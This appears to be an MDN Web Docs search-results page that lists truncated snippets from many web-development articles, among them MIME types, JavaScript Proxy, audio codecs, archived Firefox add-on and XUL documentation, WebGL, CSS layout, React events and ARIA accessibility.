...should be avoided when possible. if you must offer autoplay functionality, you should make it opt-in (requiring a user to specifically enable it). however, this can be useful when creating media elements whose source will be set at a later time, under user control. see our autoplay guide for additional information about how to properly use autoplay. controls if this attribute is present, the browser will offer controls to allow the user to control audio playback, including volume, seeking, and pause/resume playback. crossorigin this enumerated attribute indicates whether to use cors to fetch the related audio file. cors-enabled resources can be reused in the <canvas> element without being tainted. the allowed values are: anonymous sends a cross-origin request without a credential. ...
...And 13 more matches
MIME types (IANA media types) - HTTP
o known as a multipurpose internet mail extensions or mime type) is a standard that indicates the nature and format of a document, file, or assortment of bytes. it is defined and standardized in ietf's rfc 6838. the internet assigned numbers authority (iana) is responsible for all official mime types, and you can find the most up-to-date and complete list at their media types page. important: browsers use the mime type, not the file extension, to determine how to process a url, so it's important that web servers send the correct mime type in the response's content-type header. if this is not correctly configured, browsers are likely to misinterpret the contents of files and sites will not work correctly, and downloaded files may be mishandled. structure of a mime type the simplest mime t...
... email scenarios — to represent multiple, separate files which are all part of the same transaction. they represent a composite document. with the exception of multipart/form-data, used in the post method of html forms, and multipart/byteranges, used with 206 partial content to send part of a document, http doesn't handle multipart documents in a special way: the message is transmitted to the browser (which will likely show a "save as" window if it doesn't know how to display the document). there are two multipart types: message list at iana a message that encapsulates other messages. this can be used, for instance, to represent an email that includes a forwarded message as part of its data, or to allow sending very large messages in chunks as if it were multiple messages. examples inc...
...data (for data produced using the formdata api) and multipart/byteranges (defined in rfc 7233: 5.4.1 and used with http's 206 "partial content" response returned when the fetched data is only part of the content, such as is delivered using the range header). important mime types for web developers application/octet-stream this is the default for binary files. as it means unknown binary file, browsers usually don't execute it, or even ask if it should be executed. they treat it as if the content-disposition header was set to attachment, and propose a "save as" dialog. text/plain this is the default for textual files. even if it really means "unknown textual file," browsers assume they can display it. note that text/plain does not mean "any kind of textual data." if they expect a specifi...
...And 13 more matches
Proxy - JavaScript
in this example, we are using a native javascript object to which our proxy will forward all operations that are applied to it. const target = {}; const p = new proxy(target, {}); p.a = 37; // operation forwarded to the target console.log(target.a); // 37 // (the operation has been properly forwarded!) note that while this "no-op" works for javascript objects, it does not work for native browser objects like dom elements. validation with a proxy, you can easily validate the passed value for an object. this example uses the set handler. let validator = { set: function(obj, prop, value) { if (prop === 'age') { if (!number.isinteger(value)) { throw new typeerror('the age is not an integer'); } if (value > 200) { throw new rangeerror('the age seem...
...this example uses the construct and apply handlers. function extend(sup, base) { var descriptor = object.getownpropertydescriptor( base.prototype, 'constructor' ); base.prototype = object.create(sup.prototype); var handler = ...
...this example uses the construct and apply handlers. function extend(sup, base) { var descriptor = object.getownpropertydescriptor( base.prototype, 'constructor' ); base.prototype = object.create(sup.prototype); var handler = { construct: function(target, args) { ...
...And 13 more matches
Web audio codec guide - Web media technologies
tions. see codecs used by webrtc for details. for information about the fundamental concepts behind how digital audio works, see the article digital audio concepts. common codecs the list below denotes the codecs most commonly used on the web and which containers (file types) support them. if all you need to know is which codecs are even possible to use, this is for you. of course, individual browsers may or may not choose to support all of these codecs, and their support for which container types can use them may vary as well. in addition, browsers may choose to support additional codecs not included on this list. codec name (short) full codec name container support aac advanced audio coding mp4, adts, 3gp alac apple lossless audio codec mp...
...supported sample rates 8 khz - 96 khz recommended minimum bit rate for stereo sound 96 kbps at 48 khz sample rate compression lossy maximum audio channels 48 (plus 16 low frequency enhancement channels) audio frequency bandwidth 0 hz - 96 khz (standard audio channels) 0 hz - 120 hz (lfe channels) latency 20 ms to 405 ms browser compatibility feature chrome edge firefox internet explorer opera safari aac support yes[2] yes yes[1] 9 yes 3.1 container support mp4, adts, 3gp rtp / webrtc compatible yes licensing for streaming or dist...
... macos 35 [2] chrome supports aac only in mp4 containers, and only supports aac's main profile. in addition, aac is not available in chromium builds. alac (apple lossless audio codec) the apple lossless audio codec (alac or apple lossless) is a lossless codec developed by apple. after initially being a closed format, apple opened it up under an apache license. cross-platform and browser support for alac is not very strong, making it a less than ideal choice for general usage. however, if your target is primarily macos and ios users, it may be worth considering, as the operating systems have integrated support for alac. otherwise, flac is likely a better choice, if you must use a lossless codec. keep in mind, however, that lossless codecs require substantially more bandwidth a...
...And 13 more matches
Listening to events in Firefox extensions - Archive of obsolete content
that may wish to know about them. there are several different categories of events; this article will help you learn about them and direct you to more specific documentation covering each of them. it also provides some use cases that may be of specific interest. ...
...w about them. there are several different categories of events; this article will help you learn about them and direct you to more specific documentation covering each of them. it also provides some use cases that may be of specific interest. ...
...fications from <xul:browser> and <xul:tabbrowser> elements to hear about changes relating to loads of the content contained within them. simple dom events registering for a dom event is done using with code such as the following: function callback(evt) { // do your processing here. check evt.target for the target of the event. } b.addeventlistener("event", callback, false) where b is the browser or tabbrowser you wish to watch for events from. keep in mind that the events may come from any frame within the browser or, for a tabbrowser, any of the browsers within it. some of the more interesting dom events you may wish to monitor are listed here: event description domlinkadded dispatched when a new html <link> element is detected in the document. domti...
...And 12 more matches
Index of archived content - Archive of obsolete content
ion guide high-level apis addon-page base64 clipboard context-menu hotkeys indexed-db l10n notifications page-mod page-worker panel passwords private-browsing querystring request selection self simple-prefs simple-storage system tabs timers ui url widget windows low-level apis /loader ...
...a running applications svg animation svg general scrollbar sidebar stringview tabbox toolbar tree uri parsing view source for xul applications windows xml-related code snippets xml:base support in old browsers xpath getattributens common pitfalls communication between html and your extension creating custom firefox extensions with the mozilla build system custom about: urls default preferences deploying a plugin as an extension developing add-ons d...
...nloading json and javascript in extensions enhanced extension installation extension etiquette extension library extension packaging extension samples extension theming guidelines extension versioning, update and compatibility extensions support in seamonkey 2 firefox addons developer guide hiding browser chrome hotfix extension how to convert an overlay extension to restartless inline options install manifests installing extensions and themes from web pages interaction between privileged and non-privileged pages jetpack processes legacy add-ons legacy extensions for firefox for android ...
...And 12 more matches
Content Panels - Archive of obsolete content
ithin the window. it has the advantage that it can be placed anywhere and the contents can be loaded from a different file. set the url to appear in the frame with the src attribute. this url may point to any kind of file, although it will usually point to an html file or another xul file. you can use a script to change the contents of the iframe without affecting the main window. in the mozilla browser window, the area where the web page is displayed is created by using an iframe. when the user enters a url or clicks on a link in a document, the source of the frame is changed. iframe example example 1 : source view <toolbox> <toolbar id="nav-toolbar"> <toolbarbutton label="back" /> <toolbarbutton label="forward" /> <textbox id="urlfield" /> </toolbar> </toolbox> <iframe ...
...document, the source of the frame is changed. iframe example example 1 : source view <toolbox> <toolbar id="nav-toolbar"> <toolbarbutton label="back" /> <toolbarbutton label="forward" /> <textbox id="urlfield" /> </toolbar> </toolbox> <iframe id="content-body" src="http://www.mozilla.org/index.html" flex="1" /> the example here has created a very simple interface for a web browser. a box has been created containing two elements: a toolbox and an iframe. a back button, a forward button and a field for typing is urls has been added to the only toolbar (we'll learn about toolbar in a later section). the web pages would appear inside the iframe. in this case, the file index.html would appear by default. this example isn't functionally complete. next, we would want to add scr...
... a field for typing is urls has been added to the only toolbar (we'll learn about toolbar in a later section). the web pages would appear inside the iframe. in this case, the file index.html would appear by default. this example isn't functionally complete. next, we would want to add script which changes the src attribute at the desired time, for example when the user presses the enter key. ...
...And 12 more matches
tree - Archive of obsolete content
Archive › Mozilla › XUL › tree
unlike other elements, the data to display inside the tree is not specified using tags, but is determined from a view object. the view object implements the nsitreeview interface. the view is queried for the data to appear in the tree. ...
...unlike other elements, the data to display inside the tree is not specified using tags, but is determined from a view object. the view object implements the nsitreeview interface. the view is queried for the data to appear in the tree. ...
...atasource. it is used when a tree has a datasources attribute, and has dont-build-content in its flags attribute. for this tree, the data comes directly from the rdf datasource. dom treeitems are not created. even though the template uses treeitem elements to define the content, dom nodes for these elements are not created. this is the type that should be used for rdf generated trees with lots of rows. rdf content tree nsitreeview, nsixultreebuilder, nsitreecontentview yes this tree is generated from an rdf datasource. it is similar to the previous type but is used when the tree does not have dont-build-content in its flags attribute. dom treeitems are created, so you can access the data using rdf functions or dom functions. this type is suitable for rdf generated trees with ...
...And 12 more matches
Adobe Flash - Archive of obsolete content
ity for access via javascript. it can also access javascript methods from within the plugin. this article explains how javascript can be used to access methods from within the flash plugin, as well as how a feature called fscommands can be used to access javascript functions from within the flash animation. the focus of this article is to present tips on scripting flash within gecko™-based web browsers. detecting the right flash plugin (and browser) adobe flash has exposed the scriptability feature in netscape gecko browsers since flash 6r49 and later. versions of flash prior to flash 6r49 (such as flash 5) are not scriptable in netscape gecko browsers. thus client-side detection for the right version of flash is an important aspect of creating a scripted flash experience. on mac os x, the...
...the example below shows a detection heuristic in action. ...
...the example below shows a detection heuristic in action. ...
...And 12 more matches
WAI-ARIA basics - Learn web development
here we'll show how to use it at a basic level to improve accessiblity. ...
...tion</a> but this is still not very precise, and can only be used when the screenreader is reading from the top of the page. as another example, apps started to feature complex controls like date pickers for choosing dates, sliders for choosing values, etc. html5 provides special input types to render such controls: <input type="date"> <input type="range"> these are not well-supported across browsers, and it is also difficult to style them, making them not very useful for integrating with website designs. as a result, developers quite often rely on javascript libraries that generate such controls as a series of nested <div>s or table elements with classnames, which are then styled using css and controlled using javascript. the problem here is that visually they work, but screenreaders can...
...led="true", which specifies to a screenreader that a form input is currently disabled. states differ from properties in that properties don't change throughout the lifecycle of an app, whereas states can change, generally programmatically via javascript. an important point about wai-aria attributes is that they don't affect anything about the web page, except for the information exposed by the browser's accessibility apis (where screenreaders get their information from). wai-aria doesn't affect webpage structure, the dom, etc., although the attributes can be useful for selecting elements by css. note: you can find a useful list of all the aria roles and their uses, with links to futher information, in the wai-aria spec — see definition of roles. the spec also contains a list of all the ...
...And 12 more matches
Limitations of chrome scripts
he fix is generally some variant of "do that in a frame script loaded into the content process". this is one of a pair of articles: the other one lists limitations of frame scripts. compatibility shims for many of the patterns described here we've implemented compatibility shims so the patterns still work. for example: whenever extensions try to access web content from the chrome process, the browser will return a cross process object wrapper that gives the chrome code synchronous access to the content. you'll get the shims for your add-on by default, unless you set the multiprocesscompatible flag in your add-on's install manifest. however, these shims are not a substitute for migrating extensions: they are only a temporary measure, and will be removed eventually they can have a bad e...
... without the shim all apis in the ch...
...y setting the dom.ipc.shims.enabledwarnings preference and watching the browser console as you use the add-on. the rest of this page documents patterns that don't work in multiprocess firefox as well as how are shims try to paper over the problem. for each pattern we've noted: whether a shim exists and what kind of behavior it provides how to update your add-on so you don't need the shim gbrowser.contentwindow, window.content... without the shim all apis in the chrome process that provide direct access to content objects will no longer work. ...
...And 12 more matches
WebRequest.jsm
st. you can use this api to implement a content policy in an add-on (for example, an ad or script blocker), as you could using nsicontentpolicy. more generally, you can also use this api instead of http request observers. you can use webrequest.jsm in either the chrome or content processes. the webrequest api is modeled on chrome's webrequest extension api, which makes it easier to write cross-browser add-on code. there are some differences between this api and chrome's, though: see chrome incompatibilities for the details. usage to import webrequest, use code like: let {webrequest} = cu.import("resource://gre/modules/webrequest.jsm", {}); the webrequest object has the following properties, each of which corresponds to a specific stage in executing a web request: onbeforerequest onbe...
...ainfospec array of string the optional opt_extrainfospec argument lets you pass extra instructions for the handling of events. the instructions you can pass here vary depending on the event you're listening to: see the event-specific documentation for details. in particular, "blocking" may be passed to several event types, and will make the event dispatch synchronous, so the browser will wait for the event listener to return before continuing with the request. this then enables the event listener to modify or cancel the request. see modifying & canceling requests. some examples of using addlistener(). to remove a listener for an event, call removelistener on the event in question, passing it the listener to remove. filtering the filter argument is the second ...
... listener to modify or cancel the request. see modifying & canceling requests. some examples of using addlistener(). to remove a listener for an event, call removelistener on the event in question, passing it the listener to remove. filtering the filter argument is the second argument to addlistener(). if you don't pass filter, then the listener is invoked for every web request the browser makes that triggers that particular event. filter is an object that may contain up to two properties: urls and types. name type description urls matchpattern only invoke the listener for urls that match one of the patterns. types array of strings. an array of resource types. only invoke the listener for resource types that match one of the type...
...And 12 more matches
nsIAnnotationService
toolkit/components/places/public/nsiannotationservice.idlscriptable stores arbitrary data about a web page. supported for use from trusted code, such as extensions, but not from web content. 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: "@mozilla.org/browser/annotation-service;1". to use this service, use: var annotationservice = components.classes["@mozilla.org/browser/annotation-service;1"] .getservice(components.interfaces.nsiannotationservice); note: the annotation service is not thread-safe. you should only use it from the main thread. method overview void setpageannotation(in nsiuri auri, in autf8string aname, in...
...e annotation name. avalue the annotation value. aflags should be "0" for now, some flags will be defined in the future. aexpiration one of the expire_* constant value defined above. note: all page annotations will get deleted when the page is removed from history if the page is not bookmarked. this means that if you create an annotation on an unvisited uri, it will get deleted when the browser shuts down. otherwise, uris can exist in history as annotations but the user has no way of knowing it, potentially violating their privacy expectations about actions such as clear history. if there is an important annotation that the user or extension wants to keep, you should add a bookmark for the page and use an expire_never annotation. this will ensure the annotation exists until the item i...
...e annotation name. avalue the annotation value. aflags should be "0" for now, some flags will be defined in the future. aexpiration one of the expire_* constant value defined above. note: all page annotations will get deleted when the page is removed from history if the page is not bookmarked. this means that if you create an annotation on an unvisited uri, it will get deleted when the browser shuts down. otherwise, uris can exist in history as annotations but the user has no way of knowing it, potentially violating their privacy expectations about actions such as clear history. if there is an important annotation that the user or extension wants to keep, you should add a bookmark for the page and use an expire_never annotation. this will ensure the annotation exists until the item i...
...And 12 more matches
WebGL best practices - Web APIs
webgl is a complicated api, and it's often not obvious what the recommended ways to use it are. this page tackles recommendations across the spectrum of expertise, and not only highlights dos and don'ts, but also details why. you can rely on this document to guide your choice of approach, and ensure you're on the right track no matter what browser or hardware your users run. general topics address and eliminate webgl errors your application should run without generating any webgl errors (as returned by geterror). every webgl error is reported in the web console as a javascript warning with a descriptive message. after too many errors (32 in firefox), webgl stops generating descriptive messages, which really hinders debugging. the only errors a well-formed page generates are out_of_memory ...
...ers ahead of time. in firefox, setting the pref webgl.perf.max-warnings to -1 in about:config will enable performance warnings that include warnings about fb completeness invalidations. and to a lesser degree, vao attachments (vertexattribpointer, disable/enablevertexattribarray) drawing from static, unchanging vaos is faster than mutating the same vao for every draw call. for unchanged vaos, browsers can cache the fetch limits, whereas when vaos change, browsers must revalidate and recalculate limits. the overhead for this is relatively low, but re-using vaos means fewer vertexattribpointer calls too, so it's worth doing wherever it's easy. delete objects eagerly don't wait for the garbage collector/cycle collector to realize objects are orphaned and destroy them. implementations track t...
...void blocking api calls in production (e.g. geterror, getparameter) certain webgl entry points cause synchronous stalls on the calling thread. even basic requests can take as long as 1ms, but they can take even longer if they need to wait for all graphics work to be completed (with an effect similar to glfinish() in native opengl). in production code, avoid such entry points, especially on the browser main thread where they can cause the entire page to jank (often including scrolling or even the whole browser). geterror(): causes a flush + round-trip to fetch errors from the gpu process). for example, within firefox, the only time glgeterror is checked is after allocations (bufferdata, *teximage*, texstorage*) to pick up any gl_out_of_memory errors. getshader/programparameter(...
...And 12 more matches
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
in spring of 2017, we saw for the first time a major specification like grid being shipped into browsers almost simultaneously, and we now have css grid layout support in the public versions of firefox, chrome, opera, safari and edge. however, while evergreen browsers mean that many of us are going to see the majority of users having grid layout support very quickly, there are also old or non-supporting browsers to contend with. in this guide we will walk through a variety of strategies for support. the supporting browsers other than in internet explorer, css grid layout is unprefixed in safari, chrome, opera, firefox and edge. support for all the properties and values detailed in these guides is interoperable across browsers. this means that if you write some grid layout code in fi...
... in ie10 and the current specification, even where the properties and values appear the same. this early implementation is also the version of grid layout implemented in edge up to version 15. the ie/edge (≤15) version of the specification is prefixed with an -ms prefix and the properties implemented in ie/edge (≤15) are as follows: grid-template-columns as -ms-grid-columns grid-template-rows as -ms-grid-rows grid-row-start as -ms-grid-row grid-column-start as -ms-grid-column align-self as -ms-grid-row-align justify-self as -ms-grid-column-align the ie version has additional properties not required in the new specification of -ms-grid-column-span and -ms-grid-row-span. this version does not include auto-placement capability, or grid template areas. some simple grid layouts could...
...-ms-grid-column-align the ie version has additional properties not required in the new specification of -ms-grid-column-span and -ms-grid-row-span. this version does not include auto-placement capability, or grid template areas. some simple grid layouts could be implemented for ie10, through to edge 15, using the -ms properties. as these properties are vendor prefixed, they will not effect any browser supporting the up to date and unprefixed specification. autoprefixer grid layout support the popular tool autoprefixer has been updated to support the -ms- grid version. by default, grid prefixes are disabled, but you can enable it with grid: true option. autoprefixer({ grid: 'autoplace' }) grid prefixes are disabled by default because some properties can’t be prefixed. is it safe to use...
...And 12 more matches
Overview of events and handlers - Developer guides
this overview of events and event handling explains the code design pattern used to react to incidents occurring when a browser accesses a web page, and it summarizes the types of such incidents modern web browsers can handle. events and event handling provide a core technique in javascript for reacting to incidents occurring when a browser accesses a web page, including events from preparing a web page for display, from interacting with the content of the web page, relating to the device on which the browser is running, and from many other causes such as media stream playback or animation timing. ...
... to incidents occurring when a browser accesses a web page, including events from preparing a web page for display, from interacting with the content of the web page, relating to the device on which the browser is running, and from many other causes such as media stream playback or animation timing. events and event handling become central to web programming with the addition of the language to browsers, accompanying a switch in the rendering architecture of browsers from fetch and load page rendering to event driven, reflow based, page rendering. initially, browsers wait, until they receive all of the resources associated with a page, to parse, process, draw, and present the page to the user. the displayed page remains unchanged until the browser requests a new page. with the change to dynam...
...switch in the rendering architecture of browsers from fetch and load page rendering to event driven, reflow based, page rendering. initially, browsers wait, until they receive all of the resources associated with a page, to parse, process, draw, and present the page to the user. the displayed page remains unchanged until the browser requests a new page. with the change to dynamic page rendering, browsers loop continuously between processing, drawing, presenting content, and waiting for some new event trigger. ...
...And 12 more matches
<input type="month"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › month
tered. the value is a string whose value is in the format "yyyy-mm", where yyyy is the four-digit year and mm is the month number. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the control's ui varies in general from browser to browser; at the moment support is patchy, with only chrome/opera and edge on desktop — and most modern mobile browser versions — having usable implementations. in browsers that don't support month inputs, the control degrades gracefully to a simple <input type="text">, although there may be automatic validation of the entered text to ensure it's formatted as expected. for those of you u...
...clicking the down arrow on the right hand side brings up a date picker that lets you select the month and year. ...
...e the underlying numeric value is also in months). the default value of step is 1 month. using month inputs date-related inputs (including month) sound convenient at first glance; they promise an easy ui for choosing dates, and they normalize the data format sent to the server, regardless of the user's locale. however, there are issues with <input type="month"> because at this time, many major browsers don't yet support it. we'll look at basic and more complex uses of <input type="month">, then offer advice on mitigating the browser support issue in the section handling browser support). basic uses of month the simplest use of <input type="month"> involves a basic <input> and <label> element combination, as seen below: <form> <label for="bday-month">what month were you born in?</label>...
...And 12 more matches
Web Performance
is section: key performance guides animation performance and frame rateanimation on the web can be done via svg, javascript, including <canvas> and webgl, css animation, <video>, animated gifs and even animated pngs and other image types. the performance cost of animating a css property can vary from one property to another, and animating expensive css properties can result in jank as the browser struggles to hit a smooth frame rate.critical rendering paththe critical rendering path is the sequence of steps the browser goes through to convert the html, css, and javascript into pixels on the screen. optimizing the critical render path improves render performance.the critical rendering path includes the document object model (dom), css object model (cssom), render tree and layout.css and ...
...in summary, we should always try to create our animations using css transitions/animations where possible. ...
...ions are really complex, you may have to rely on javascript-based animations instead.lazy loadinglazy loading is a strategy to identify resources as non-blocking (non-critical) and load these only when needed. it is a way of shorten the critical rendering path length, what would translate into improved page load times. navigation and resource timingsnavigation timings are metrics measuring a browser's document navigation events. resource timings are detailed network timing measurements regarding the loading of an application's resources.optimizing startup performanceregardless of platform, it's always a good idea to start up as quickly as possible. since that's a universal issue, we won't be focusing on it too much here. instead, we're going to look at a more important issue when building ...
...And 12 more matches
ui/frame - Archive of obsolete content
rame hosting it and add the frame to a toolbar like this: var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var frame = new frame({ url: "./city-info.html" }); var toolbar = toolbar({ name: "city-info", title: "city info", items: [frame] }); the toolbar is positioned between the address bar and the content window. it occupies the whole width of the browser window and is 18 pixels high on a normal-resolution display or 36 pixels high on a high-resolution (hidpi) display. this toolbar might look something like: scripting frames to add scripts to frames, include them directly from the frame's html content, as with a normal web page: <script type="text/javascript" src="frame.js"></script> as usual, the path to the script is relative to the html...
... to add scripts to frames, include them directly from the frame's html content, as with a normal web page: <script type="text/javascript" src="frame.js"></script> as usual, the path to the script is relative to the html file's location. messages logged from a frame script using the console will not appear in the terminal when you run the add-on using jpm run. however, they will appear in the browser console. this issue is being tracked as bug 982385. communicating with frames you can exchange messages between the main add-on code and scripts loaded into the frame using an api modeled on window.postmessage(). a frame creates a separate iframe instance for each browser window. so there are three cases to consider: sending messages from a frame script to the main add-on code sending me...
...h frames you can exchange messages between the main add-on code and scripts loaded into the frame using an api modeled on window.postmessage(). a frame creates a separate iframe instance for each browser window. so there are three cases to consider: sending messages from a frame script to the main add-on code sending messages from the main add-on code to all instances of a frame, across all browser windows sending messages from the main add-on code to a single instance of a frame, attached to a specific browser window in all cases, postmessage() takes two arguments: the message itself and a targetorigin. the targetorigin argument can be either the uri of the document hosted by the target, or the wildcard "*". if you use the uri, then the message will only be dispatched to the window wh...
...And 11 more matches
Intercepting Page Loads - Archive of obsolete content
also, the different techniques tap into different steps of the load process. ...
...nt steps of the load process. which one you should use solely depends on your needs. we will start with the simplest one, which is also the most common to use. note: performance is very important when it comes to add-ons and page loads. read the recommendations in appendix a regarding performance if you're planning on implementing any of these. the easy way: load events this comes from the tabbrowser code snippets page. in a nutshell, from the chrome code in the overlay we add an event listener for the load event. this._loadhandler = function() {that._onpageload(); }; gbrowser.addeventlistener("load", this._loadhandler, true); gbrowser is a global object that corresponds to the tabbrowser element in the main browser window. it is full of useful functions, so you should always keep it in...
... for the load event. this._loadhandler = function() {that._onpageload(); }; gbrowser.addeventlistener("load", this._loadhandler, true); gbrowser is a global object that corresponds to the tabbrowser element in the main browser window. it is full of useful functions, so you should always keep it in mind when you want to handle tabs and web content windows. attaching the load event handler to gbrowser allows us to listen to these events for all tabs, without having to worry how many tabs are open. gbrowser exists in every browser window. we store the handler function in a private variable because later we want to remove it when we do not need it anymore. ...
...And 11 more matches
Extensions support in SeaMonkey 2 - Archive of obsolete content
m:maxversion>2.*</em:maxversion> </description> </em:targetapplication> the install.js is not supported any more and should be removed. differences as compared to other toolkit/-based applications you need to overlay/open different chrome urls as compared to firefox. ...
...</em:maxversion> </description> </em:targetapplication> the install.js is not supported any more and should be removed. differences as compared to other toolkit/-based applications you need to overlay/open different chrome urls as compared to firefox. ...
...ll.js is not supported any more and should be removed. differences as compared to other toolkit/-based applications you need to overlay/open different chrome urls as compared to firefox. ...
...And 11 more matches
Download Manager preferences - Archive of obsolete content
there are several preferences used by the download manager. this article provides a list of them. preference description browser.download.antivirus.dontclean note: in gecko 1.9.1. a boolean value that indicates whether the anti virus software should try to clean a downloaded file when a virus is detected. default value is false. browser.download.manager.addtorecentdocs a boolean value that indicates whether or not new downloads should be added to the recent documents list. default value is true. browser.download.manager.alertonexeopen a boolean value that indicates whether the ui should alert the user about the dangers of opening (executing) an exe. the user may check a "don't ask" box on the ui to toggle this. ...
...boolean value that indicates whether or not new downloads should be added to the recent documents list. default value is true. browser.download.manager.alertonexeopen a boolean value that indicates whether the ui should alert the user about the dangers of opening (executing) an exe. the user may check a "don't ask" box on the ui to toggle this. default value is true. browser.download.manager.closewhendone a boolean value indicating whether or not the downloads window should close automatically when downloads are completed. in thunderbird the default value is true. in other applications the default value is false. ...
... opening (executing) an exe. the user may check a "don't ask" box on the ui to toggle this. default value is true. browser.download.manager.closewhendone a boolean value indicating whether or not the downloads window should close automatically when downloads are completed. in thunderbird the default value is true. in other applications the default value is false. browser.download.manager.flashcount indicates the number of times the appropriate user interface element should be "flashed" to get the user's attention when a download completes. default value is 2. browser.download.manager.focuswhenstarting a boolean value that indicates whether or not to focus the download manager window when a download begins. in firefox,thunderbird and seamo...
...And 11 more matches
Introduction to CSS layout - Learn web development
normal flow the display property flexbox grid floats positioning table layout multiple-column layout each technique has its uses, advantages, and disadvantages, and no technique is designed to be used in isolation. by understanding what each method is designed for you will be in a good place to understand which is the best layout tool for each task. ...
...is designed for you will be in a good place to understand which is the best layout tool for each task. normal flow normal flow is how the browser lays out html pages by default when you do nothing to control page layout. let's look at a quick html example: <p>i love my cat.</p> <ul> <li>buy cat food</li> <li>exercise</li> <li>cheer up friend</li> </ul> <p>the end!</p> by default, the browser will display this code as follows: note here how the html is displayed in the exact order in which it appears in the source code, with elements stacked up on top of one another — the first paragraph, followed by the unordered list, followed by the second paragraph. the elements that appear one below the other are described as block elements, in contrast to inline elements, which appear on...
...ments to wrap alongside one side of an element, like the way images sometimes have text floating around them in magazine layouts. the position property — allows you to precisely control the placement of boxes inside other boxes. static positioning is the default in normal flow, but you can cause elements to be laid out differently using other values, for example always fixed to the top of the browser viewport. table layout — features designed for styling the parts of an html table can be used on non-table elements using display: table and associated properties. multi-column layout — the multi-column layout properties can cause the content of a block to layout in columns, as you might see in a newspaper. the display property the main methods of achieving page layout in css are all v...
...And 11 more matches
How CSS works - Learn web development
previous overview: first steps next we have learned the basics of css, what it is for and how to write simple stylesheets. in this lesson we will take a look at how a browser takes css and html and turns that into a webpage. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, and html basics (study introduction to html.) objective: to understand the basics of how css and html are parsed by the browser, and what happens when a browser encounters css it does not understand. how does css actually work? when a browser displays a document, it must combine the document's content with its style information. it processes the document in a number of stages, which we've listed below. bear in mind tha...
...ss and html are parsed by the browser, and what happens when a browser encounters css it does not understand. how does css actually work? ...
...hat happens when a browser encounters css it does not understand. how does css actually work? ...
...And 11 more matches
React interactivity: Events and state - Learn web development
t. the onclick attribute has special meaning here: it tells react to run a given function when the user clicks on the button. there are a couple of other things to note: the camel-cased nature of onclick is important — jsx will not recognize onclick (again, it is already used in javascript for a specific purpose, which is related but different — standard onclick handler properties). all browser events follow this format in jsx – on, followed by the name of the event. let's apply this to our app, starting in the form.js component. handling form submission at the top of the form() component function, create a function named handlesubmit(). this function should prevent the default behavior of the submit event. after that, it should trigger an alert(), which can say whatever you’d...
...submit event. after that, it should trigger an alert(), which can say whatever you’d like. it should end up looking something like this: function handlesubmit(e) { e.preventdefault(); alert('hello, world!'); } to use this function, add an onsubmit attribute to the <form> element, and set its value to the handlesubmit function: <form onsubmit={handlesubmit}> now if you head back to your browser and click on the "add" button, your browser will show you an alert dialog with the words "hello, world!" — or whatever you chose to write there. callback props in react applications, interactivity is rarely confined to just one component: events that happen in one component will affect other parts of the app. when we start giving ourselves the power to make new tasks, things that happen in ...
...it matches the name of the function as well as what the function will do. your <form /> component call should be updated as follows: <form addtask={addtask} /> finally, you can use this prop inside the handlesubmit() function in your <form /> component! update it as follows: function handlesubmit(e) { e.preventdefault(); props.addtask("say hello!"); } clicking on the "add" button in your browser will prove that the addtask() callback function works, but it'd be nice if we could get the alert to show us what we're typing in our input field! this is what we'll do next. note: we decided to name our callback prop addtask to make it easy to understand what the prop will do. another common convention you may well come across in react code is to prefix callback prop names with the word on, ...
...And 11 more matches
IAccessibleTable2
you should also support the iaccessibletable interface. ...
... cell ); [propget] hresult columndescription([in] long column, [out] bstr description ); [propget] hresult iscolumnselected([in] long column, [out] boolean isselected ); [propget] hresult isrowselected([in] long row, [out] boolean isselected ); [propget] hresult modelchange([out] ia2tablemodelchange modelchange ); [propget] hresult ncolumns([out] long columncount ); [propget] hresult nrows([out] long rowcount ); [propget] hresult nselectedcells([out] long cellcount ); [propget] hresult nselectedcolumns([out] long columncount ); [propget] hresult nselectedrows([out] long rowcount ); [propget] hresult rowdescription([in] long row, [out] bstr description ); hresult selectcolumn([in] long column ); [propget] hresult selectedcells([out, size_is(, nselectedcells,)] iunknown c...
...the returned object could be an iaccessible or an iaccessible2. ...
...And 11 more matches
Accessibility documentation index - Accessibility
een readers developers' need to try different things. the intention is to strike a balance between providing useful guidance on how to use the markup's intended meaning while supporting live regions as an area for screen readers to innovate and compete. 4 aria test cases aria, accessibility for each example we test the "expected" results with assistive technologies, for each browser that at supports wai-aria in. where a failure occurs we will test the browser for api incorrectness, using tools such as msaa inspect. this must be done in order to determine where to file a bug (browser or at). 5 aria annotations aria, accessibility, wai-aria, annotations, comments, details, suggestions wai-aria version 1.3 sees the addition of a set of new features, colle...
...hese divided into roles (defining a type of user interface element) and states and properties that are supported by a role. authors must assign an aria role and the appropriate states and properties to an element during its life-cycle, unless the element already has appropriate aria semantics (via use of an appropriate html element). addition of aria semantics only exposes extra information to a browser's accessibility api, and does not affect a page's dom. 14 aria technique template accessibility no summary! 15 using the alert role aria, accessibility, advanced, css, example, html, needscontent, alert, alert role, alertrole, alerts, assitive technology, role configuration, wcag1.2.1, wcag3.3.1 the alert role is used to communicate an important and usu...
...e template accessibility no summary! 15 using the alert role aria, accessibility, advanced, css, example, html, needscontent, alert, alert role, alertrole, alerts, assitive technology, role configuration, wcag1.2.1, wcag3.3.1 the alert role is used to communicate an important and usually time-sensitive message to the user. when this role is added to an element, the browser will send out an accessible alert event to assistive technology products which can then notify the user about it. the alert role is most useful for information that requires the user's immediate attention, for example: 16 using the alertdialog role aria, accessibility, codingscripting, html, needscontent, role(2), web development, agent, alertdialog, alerts, modal, user, useragen...
...And 11 more matches
Index - Developer guides
Web › Guide › Index
ed. 5 wai aria live regions/api support ajax, accessibility firefox 3 contains important improvements to the way the mozilla engine exposes live changes in a document. 6 audio and video delivery audio, guide, html, html5, media, video whether we are dealing with pre-recorded audio files or live streams, the mechanism for making them available through the browser's <audio> and <video> elements remains pretty much the same. currently, to support all browsers we need to specify two formats, although with the adoption of mp3 and mp4 formats in firefox and opera, this is changing fast. you can find compatibility information in the guide to media types and formats on the web. 7 adding captions and subtitles to html5 video html5, media, webvtt,...
